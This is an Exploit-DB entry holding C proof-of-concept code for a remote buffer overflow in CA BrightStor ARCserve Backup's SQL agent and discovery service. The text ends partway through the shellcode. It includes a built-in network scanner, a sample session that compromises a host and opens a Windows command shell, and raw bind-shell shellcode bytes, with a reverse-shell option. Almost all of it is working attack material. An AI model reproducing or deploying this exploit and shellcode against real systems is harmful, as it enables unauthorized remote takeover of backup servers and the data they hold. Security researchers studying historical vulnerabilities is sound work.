Exploit-DB #1132
Description: CA BrightStor ARCserve Backup - Remote Overflow
Type: remote
Platform: windows
Date: 2005-08-03
Author: cybertronic

Exploit:
/*
 * 02/20/2005
 *
 * This is provided as proof-of-concept code only for educational
 * purposes and testing by authorized individuals with permission
 * to do so.
 *
 * exploit by       : cybertronic
 *
 * cybertronic[at]gmx[dot]net
 *
 * This exploits the following vulnerabilities:
 *
 * Computer Associates BrightStor ARCserve Backup Agent for SQL - dbasqlr.exe
 * Computer Associates BrightStor ARCserve Backup Discovery Service - dsconfig.exe
 *
 * I included a vulnerability scanner, that scans for the bugs mentioned above
 * and logs to "scan.log" in working directory.
 * You have to adjust the timeout, it works fine on my network with
 * usec = 10000: ~10 hosts / sec
 *
 * some greetz fly to:
 * HD Moore - I`ll pay you some drinks, you know what they are for ;)
 * houseofdabus
 *
 * compile: gcc -o greetz_to_ca greetz_to_ca.c
 *
 * below is a screenshot of scan-mode:
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 *
 * --[ choose
 *       |
 *       |--[0] = start scanner
 *       `--[1] = send some greetings to ca
 *
 *  $ 0
 *
 * --[ enter IP-range
 *       |
 *       |--[start-ip] $ 192.168.2.90
 *       `--[end-ip  ] $ 192.168.2.120
 *
 * --[ select port to scan for
 *       |
 *       |--[ 6070] = dbasqlr
 *       `--[41523] = dsconfig
 *
 *  $ 6070
 *
 * --[ I can try to exploit the bug, shall I ?
 *       |
 *       |--[0] yes, try it!
 *       `--[1] no, i`am on my own!
 *
 *  $ 0
 *
 * --[ select shellcode
 *       |
 *       |--[0] = bindshell
 *       `--[1] = reverseshell
 *
 *  $ 0
 *
 * oO---[ scanner - scan.log ]---Oo
 *
 * [192.168.2.90:6070] closed
 * [192.168.2.91:6070] closed
 * [192.168.2.92:6070] closed
 * [192.168.2.93:6070] closed
 * [192.168.2.94:6070] closed
 * [192.168.2.95:6070] closed
 * [192.168.2.96:6070] closed
 * [192.168.2.97:6070] closed
 * [192.168.2.98:6070] closed
 * [192.168.2.99:6070] closed
 * [192.168.2.100:6070] closed
 * [192.168.2.101:6070] open
 *

// the first one is a fake service that was running by accident ( netcat -l -p 6070 )


 * oO---[    exploitation    ]---Oo
 *
 * --[ connecting to 192.168.2.101:6070...done!
 * --[ exploiting dbasqlr.exe...
 * --[ sending packet [ 3288 bytes ]...done!
 * --[ sleeping 5 seconds...
 * --[ connecting to 192.168.2.101:4444...failed!
 *
 * [192.168.2.102:6070] open
 *
 * oO---[    exploitation    ]---Oo
 *
 * --[ connecting to 192.168.2.102:6070...done!
 * --[ exploiting dbasqlr.exe...
 * --[ sending packet [ 3288 bytes ]...done!
 * --[ sleeping 5 seconds...
 * --[ connecting to 192.168.2.102:4444...done!
 * --[ b0x pwned - h4ve phun
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\WINDOWS\system32>exit
 * exit
 * bye bye...
 * [192.168.2.103:6070] closed
 * [192.168.2.104:6070] closed
 * [192.168.2.105:6070] closed
 * [192.168.2.106:6070] closed
 * [192.168.2.107:6070] closed
 * [192.168.2.108:6070] closed
 * [192.168.2.109:6070] closed
 * [192.168.2.110:6070] closed
 * [192.168.2.111:6070] closed
 * [192.168.2.112:6070] closed
 * [192.168.2.113:6070] closed
 * [192.168.2.114:6070] closed
 * [192.168.2.115:6070] closed
 * [192.168.2.116:6070] closed
 * [192.168.2.117:6070] closed
 * [192.168.2.118:6070] closed
 * [192.168.2.119:6070] closed
 * [192.168.2.120:6070] closed
 *
 * oO---[   scan completed   ]---Oo
 *
 * [ cybertronic @ CA ] #
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

/*
 *
 * definitions
 *
 */

#define PORT_DBASQLR	6070
#define PORT_DSCONFIG	41523

#define RED		"\E[31m\E[1m"
#define GREEN	"\E[32m\E[1m"
#define YELLOW	"\E[33m\E[1m"
#define BLUE	"\E[34m\E[1m"
#define NORMAL	"\E[m"

/*
 *
 * prototypes
 *
 */

int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit_dbasqlr ( int s, unsigned long xoredip, unsigned short xoredcbport, int option );
int exploit_dsconfig ( int s, unsigned long xoredip, unsigned short xoredcbport, int option );
int isip ( char *ip );
int is_open ( char* ip, unsigned short tport );
int select_action ();
int select_shellcode ();
int select_vulnerability ();
int shell ( int s, char* tip, unsigned short cbport );

void connect_to_bindshell ( char* tip, unsigned short bport );
void fall_asleep ( int sec );
void header ();
void start_reverse_handler ( int cbport );
void usage ( char* name );

/*********************
 * Windows Shellcode *
 *********************/

/*
 * Type  : bind shellcode
 * Length: 500 bytes
 * Port  : 4444 / 0x115c
 *
 */

unsigned char bindshell[] =
"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff\xff\xff\x81\x36\x80\xbf\x32"
"\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\x03\x53\x06\x1f\x74\x57\x75\x95\x80\xbf\xbb\x92\x7f\x89\x5a\x1a"
"\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09\xf9\x3a\x6b\xb6\xd7\x9f\x4d"
"\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6\xb3\x5a\xf8\xec\xbf\x32\xfc"
"\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf\xeb\xcd\xc2\x88\x36\x74\x90"
"\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad\xbe\x32\x94\x09\xf9\x22\x6b"
"\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81\xbf\x32\x1d\xc6\xab\xcd\xe2"
"\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81\xbf\x32\x1d\xc6\xa7\xcd\xe2"
"\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80\xbf\x32\x1d\xc6\xa3\xcd\xe2"
"\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80\xbf\x32\x1d\xc6\x9f\xcd\xe2"
"\x84\xd7\x96\x39\xae\x56\xda\x4a\x80\xbf\x32\x1d\xc6\x9b\xcd\xe2"
"\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80\xbf\x32\x1d\xc6\x97\xcd\xe